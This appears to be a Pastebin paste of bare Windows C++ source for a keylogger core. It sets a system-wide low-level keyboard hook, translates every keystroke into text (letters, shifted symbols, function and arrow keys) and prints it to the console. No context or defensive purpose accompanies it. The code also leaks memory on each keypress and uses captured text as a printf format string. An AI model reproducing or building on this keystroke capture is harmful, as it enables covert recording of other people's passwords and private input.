Advertisement
Guest User

Untitled

a guest
Jun 20th, 2018
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.80 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <Windows.h>
  3.  
  4. #define _CRT_SECURE_NO_WARNINGS
  5.  
  6. char* translate(int vk, int up);
  7.  
  8. LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
  9. {
  10.     BOOL fEatKeystroke = FALSE;
  11.  
  12.     KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT *)lParam;
  13.     char *str = new char[4];
  14.  
  15.     if (wParam == WM_KEYUP) {
  16.         str = translate(kb->vkCode, 1);
  17.     }
  18.     else if (wParam == WM_KEYDOWN) {
  19.         str = translate(kb->vkCode, 0);
  20.     }
  21.     if (str) {
  22.         printf(str);
  23.     }
  24.     return(fEatKeystroke ? 1 : CallNextHookEx(NULL, nCode, wParam, lParam));
  25. }
  26.  
  27. int main()
  28. {
  29.     // Install the low-level keyboard & mouse hooks
  30.     HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0);
  31.  
  32.     // Keep this app running until we're told to stop
  33.     MSG msg;
  34.     while (!GetMessage(&msg, NULL, NULL, NULL)) {    //this while loop keeps the hook
  35.         TranslateMessage(&msg);
  36.         DispatchMessage(&msg);
  37.     }
  38.  
  39.     UnhookWindowsHookEx(hhkLowLevelKybd);
  40.  
  41.     return(0);
  42. }
  43.  
  44.  
  45.  
  46. int shift = 0, caps = 0;
  47.  
  48. char* translate(int vk, int up) {
  49.     if (up) {
  50.         if ((vk == 0x10) || (vk == 0xa0) || (vk == 0xa1)) shift = 0;
  51.         return 0;
  52.     }
  53.     else if ((vk == 0x10) || (vk == 0xa0) || (vk == 0xa1)) {
  54.         shift = 1; return 0;
  55.     }
  56.     char *buf = (char*)malloc(16);
  57.     memset(buf, 0, 16);
  58.     if (vk < 0x29) {
  59.         switch (vk) {
  60.         case 0x08: strcpy(buf, "[BS]"); break;
  61.         case 0x09: strcpy(buf, "[TAB]"); break;
  62.         case 0x0d: strcpy(buf, "[CR]"); break;
  63.         case 0x14: caps ^= 1; break;
  64.         case 0x20: buf[0] = ' '; break;
  65.         case 0x25: strcpy(buf, "[LT]"); break;
  66.         case 0x26: strcpy(buf, "[UP]"); break;
  67.         case 0x27: strcpy(buf, "[RT]"); break;
  68.         case 0x28: strcpy(buf, "[DN]"); break;
  69.         }
  70.         return buf;
  71.     }
  72.     if (vk > 0x69 && vk < 0x70) {
  73.         buf[0] = (char)(vk - 0x40);
  74.     }
  75.     else if (vk > 0x6f && vk < 0x88) {
  76.         sprintf(buf, "[F%d]", vk - 0x6f);
  77.     }
  78.     else if (isalpha(vk)) {
  79.         if (!caps)
  80.             if (shift) { buf[0] = (char)(toupper(vk)); }
  81.             else { buf[0] = (char)(tolower(vk)); }
  82.         else
  83.             if (!shift) { buf[0] = (char)(toupper(vk)); }
  84.             else { buf[0] = (char)(tolower(vk)); }
  85.     }
  86.     else {
  87.         switch (vk) {
  88.         case '1': if (!shift) { buf[0] = (char)vk; }
  89.                   else { buf[0] = '!'; } break;
  90.         case '2': if (!shift) { buf[0] = (char)vk; }
  91.                   else { buf[0] = '@'; } break;
  92.         case '3': if (!shift) { buf[0] = (char)vk; }
  93.                   else { buf[0] = '#'; } break;
  94.         case '4': if (!shift) { buf[0] = (char)vk; }
  95.                   else { buf[0] = '$'; } break;
  96.         case '5': if (!shift) { buf[0] = (char)vk; }
  97.                   else { buf[0] = '%'; } break;
  98.         case '6': if (!shift) { buf[0] = (char)vk; }
  99.                   else { buf[0] = '^'; } break;
  100.         case '7': if (!shift) { buf[0] = (char)vk; }
  101.                   else { buf[0] = '&'; } break;
  102.         case '8': if (!shift) { buf[0] = (char)vk; }
  103.                   else { buf[0] = '*'; } break;
  104.         case '9': if (!shift) { buf[0] = (char)vk; }
  105.                   else { buf[0] = '('; } break;
  106.         case '0': if (!shift) { buf[0] = (char)vk; }
  107.                   else { buf[0] = ')'; } break;
  108.         case 0xba: if (!shift) { buf[0] = ';'; }
  109.                    else { buf[0] = ':'; } break;
  110.         case 0xbb: if (!shift) { buf[0] = '='; }
  111.                    else { buf[0] = '+'; } break;
  112.         case 0xbc: if (!shift) { buf[0] = ','; }
  113.                    else { buf[0] = '<'; } break;
  114.         case 0xbd: if (!shift) { buf[0] = '-'; }
  115.                    else { buf[0] = '_'; } break;
  116.         case 0xbe: if (!shift) { buf[0] = '.'; }
  117.                    else { buf[0] = '>'; } break;
  118.         case 0xbf: if (!shift) { buf[0] = '/'; }
  119.                    else { buf[0] = '?'; } break;
  120.         case 0xc0: if (!shift) { buf[0] = '`'; }
  121.                    else { buf[0] = '~'; } break;
  122.         case 0xdb: if (!shift) { buf[0] = '['; }
  123.                    else { buf[0] = '{'; } break;
  124.         case 0xdc: if (!shift) { buf[0] = '\\'; }
  125.                    else { buf[0] = '|'; } break;
  126.         case 0xdd: if (!shift) { buf[0] = ']'; }
  127.                    else { buf[0] = '}'; } break;
  128.         case 0xde: if (!shift) { buf[0] = '\''; }
  129.                    else { buf[0] = '\"'; } break;
  130.         }
  131.     }
  132.     return buf;
  133. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement